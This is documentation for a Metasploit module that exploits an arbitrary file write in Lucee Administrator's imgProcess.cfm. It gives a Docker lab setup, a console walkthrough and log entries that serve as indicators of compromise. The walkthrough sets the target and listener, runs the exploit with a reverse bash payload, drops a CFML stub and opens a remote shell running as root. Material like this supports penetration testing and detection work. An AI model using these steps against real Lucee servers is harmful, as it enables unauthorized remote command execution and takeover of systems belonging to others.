## Vulnerable Application

### Description

This module exploits an arbitrary file write in Lucee Administrator's
`imgProcess.cfm` file to execute commands as the Tomcat user.

### Setup

Run the following [Docker] command to test Lucee **5.3.7.43**:

`docker run -dp 8888:8888 lucee/lucee:5.3.7.43`

[Docker]: https://hub.docker.com/r/lucee/lucee

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Scenarios

### Lucee 5.3.7.43 in [Docker]

```
msf6 > use exploit/linux/http/lucee_admin_imgprocess_file_write
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > options

Module options (exploit/linux/http/lucee_admin_imgprocess_file_write):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8888             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /lucee           yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > set lhost 172.16.57.1
lhost => 172.16.57.1
msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > run

[*] Started reverse TCP handler on 172.16.57.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Lucee Administrator imgProcess.cfm detected.
[*] Writing CFML stub: http://127.0.0.1:8888/lucee/2esdjIrVqvM.cfm
[*] Executing cmd/unix/reverse_bash (Unix Command)
[+] Deleted /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/2esdjIrVqvM.cfm
[+] Deleted /opt/lucee/web/temp/admin-ext-thumbnails/__/
[*] Command shell session 1 opened (172.16.57.1:4444 -> 172.16.57.1:59439) at 2021-08-16 05:58:53 -0500

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 8c48d3e94284 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64 GNU/Linux
```

## IOCs

```
==> /opt/lucee/server/lucee-server/context/logs/application.log <==
"ERROR","http-nio-8888-exec-1","08/16/2021","11:55:02","controller","key [IMGSRC] doesn't exist;key [IMGSRC] doesn't exist;lucee.runtime.exp.ExpressionException: key [IMGSRC] doesn't exist
	at lucee.runtime.type.util.StructSupport.invalidKey(StructSupport.java:67)
	at lucee.runtime.type.StructImpl.get(StructImpl.java:139)
	at imgprocess_cfm$cf.call(/admin/imgProcess.cfm:2)
	at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:945)
	at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:837)
	at lucee.runtime.listener.ModernAppListener._onRequest(ModernAppListener.java:216)
	at lucee.runtime.listener.MixedAppListener.onRequest(MixedAppListener.java:42)
	at lucee.runtime.PageContextImpl.execute(PageContextImpl.java:2416)
	at lucee.runtime.PageContextImpl._execute(PageContextImpl.java:2406)
	at lucee.runtime.PageContextImpl.executeCFML(PageContextImpl.java:2381)
	at lucee.runtime.engine.Request.exe(Request.java:43)
	at lucee.runtime.engine.CFMLEngineImpl._service(CFMLEngineImpl.java:1170)
	at lucee.runtime.engine.CFMLEngineImpl.serviceCFML(CFMLEngineImpl.java:1116)
	at lucee.loader.engine.CFMLEngineWrapper.serviceCFML(CFMLEngineWrapper.java:97)
	at lucee.loader.servlet.CFMLServlet.service(CFMLServlet.java:51)
..."
"ERROR","http-nio-8888-exec-2","08/16/2021","11:55:02","controller","Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.];Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.]
Can't create file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.];lucee.runtime.exp.ApplicationException: Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.]
	at lucee.runtime.tag.FileTag.checkFile(FileTag.java:1174)
	at lucee.runtime.tag.FileTag.actionWrite(FileTag.java:678)
	at lucee.runtime.tag.FileTag.doEndTag(FileTag.java:452)
	at imgprocess_cfm$cf.call(/admin/imgProcess.cfm:2)
	at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:945)
	at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:837)
	at lucee.runtime.listener.ModernAppListener._onRequest(ModernAppListener.java:216)
	at lucee.runtime.listener.MixedAppListener.onRequest(MixedAppListener.java:42)
	at lucee.runtime.PageContextImpl.execute(PageContextImpl.java:2416)
	at lucee.runtime.PageContextImpl._execute(PageContextImpl.java:2406)
	at lucee.runtime.PageContextImpl.executeCFML(PageContextImpl.java:2381)
	at lucee.runtime.engine.Request.exe(Request.java:43)
	at lucee.runtime.engine.CFMLEngineImpl._service(CFMLEngineImpl.java:1170)
	at lucee.runtime.engine.CFMLEngineImpl.serviceCFML(CFMLEngineImpl.java:1116)
	at lucee.loader.engine.CFMLEngineWrapper.serviceCFML(CFMLEngineWrapper.java:97)
	at lucee.loader.servlet.CFMLServlet.service(CFMLServlet.java:51)
..."

==> /opt/lucee/web/logs/exception.log <==
"Severity","ThreadID","Date","Time","Application","Message"
"ERROR","http-nio-8888-exec-1","08/16/2021","11:55:02","","key [IMGSRC] doesn't exist;key [IMGSRC] doesn't exist;lucee.runtime.exp.ExpressionException: key [IMGSRC] doesn't exist
	at lucee.runtime.type.util.StructSupport.invalidKey(StructSupport.java:67)
	at lucee.runtime.type.StructImpl.get(StructImpl.java:139)
	at imgprocess_cfm$cf.call(/admin/imgProcess.cfm:2)
	at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:945)
	at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:837)
	at lucee.runtime.listener.ModernAppListener._onRequest(ModernAppListener.java:216)
	at lucee.runtime.listener.MixedAppListener.onRequest(MixedAppListener.java:42)
	at lucee.runtime.PageContextImpl.execute(PageContextImpl.java:2416)
	at lucee.runtime.PageContextImpl._execute(PageContextImpl.java:2406)
	at lucee.runtime.PageContextImpl.executeCFML(PageContextImpl.java:2381)
	at lucee.runtime.engine.Request.exe(Request.java:43)
	at lucee.runtime.engine.CFMLEngineImpl._service(CFMLEngineImpl.java:1170)
	at lucee.runtime.engine.CFMLEngineImpl.serviceCFML(CFMLEngineImpl.java:1116)
	at lucee.loader.engine.CFMLEngineWrapper.serviceCFML(CFMLEngineWrapper.java:97)
	at lucee.loader.servlet.CFMLServlet.service(CFMLServlet.java:51)
..."
"ERROR","http-nio-8888-exec-2","08/16/2021","11:55:02","","Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.];Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.]
Can't create file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.];lucee.runtime.exp.ApplicationException: Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.]
	at lucee.runtime.tag.FileTag.checkFile(FileTag.java:1174)
	at lucee.runtime.tag.FileTag.actionWrite(FileTag.java:678)
	at lucee.runtime.tag.FileTag.doEndTag(FileTag.java:452)
	at imgprocess_cfm$cf.call(/admin/imgProcess.cfm:2)
	at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:945)
	at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:837)
	at lucee.runtime.listener.ModernAppListener._onRequest(ModernAppListener.java:216)
	at lucee.runtime.listener.MixedAppListener.onRequest(MixedAppListener.java:42)
	at lucee.runtime.PageContextImpl.execute(PageContextImpl.java:2416)
	at lucee.runtime.PageContextImpl._execute(PageContextImpl.java:2406)
	at lucee.runtime.PageContextImpl.executeCFML(PageContextImpl.java:2381)
	at lucee.runtime.engine.Request.exe(Request.java:43)
	at lucee.runtime.engine.CFMLEngineImpl._service(CFMLEngineImpl.java:1170)
	at lucee.runtime.engine.CFMLEngineImpl.serviceCFML(CFMLEngineImpl.java:1116)
	at lucee.loader.engine.CFMLEngineWrapper.serviceCFML(CFMLEngineWrapper.java:97)
	at lucee.loader.servlet.CFMLServlet.service(CFMLServlet.java:51)
..."
```
